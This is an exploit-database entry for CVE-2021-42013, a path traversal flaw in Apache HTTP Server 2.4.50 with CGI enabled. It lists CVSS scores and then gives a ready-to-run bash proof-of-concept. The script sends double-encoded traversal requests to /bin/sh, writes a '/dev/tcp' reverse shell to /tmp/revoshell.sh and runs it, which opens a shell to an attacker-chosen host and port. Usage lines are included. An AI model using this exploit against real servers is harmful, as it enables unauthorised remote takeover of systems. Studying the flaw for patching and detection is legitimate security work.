Apache HTTP Server 2.4.50 Remote Code Execution

2021.10.29
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (2) # Credits: Ash Daulton & cPanel Security Team # Date: 24/07/2021 # Exploit Author: TheLastVvV.com # Vendor Homepage: https://apache.org/ # Version: Apache 2.4.50 with CGI enable # Tested on : Debian 5.10.28 # CVE : CVE-2021-42013 #!/bin/bash echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI' if [ $# -eq 0 ] then echo "try: ./$0 http://ip:port LHOST LPORT" exit 1 fi curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; echo '/bin/sh -i >& /dev/tcp/$2/$3 0>&1' > /tmp/revoshell.sh" && curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; bash /tmp/revoshell.sh" #usage chmod -x CVE-2021-42013.sh #./CVE-2021-42013_reverseshell.sh http://ip:port/ LHOST LPORT


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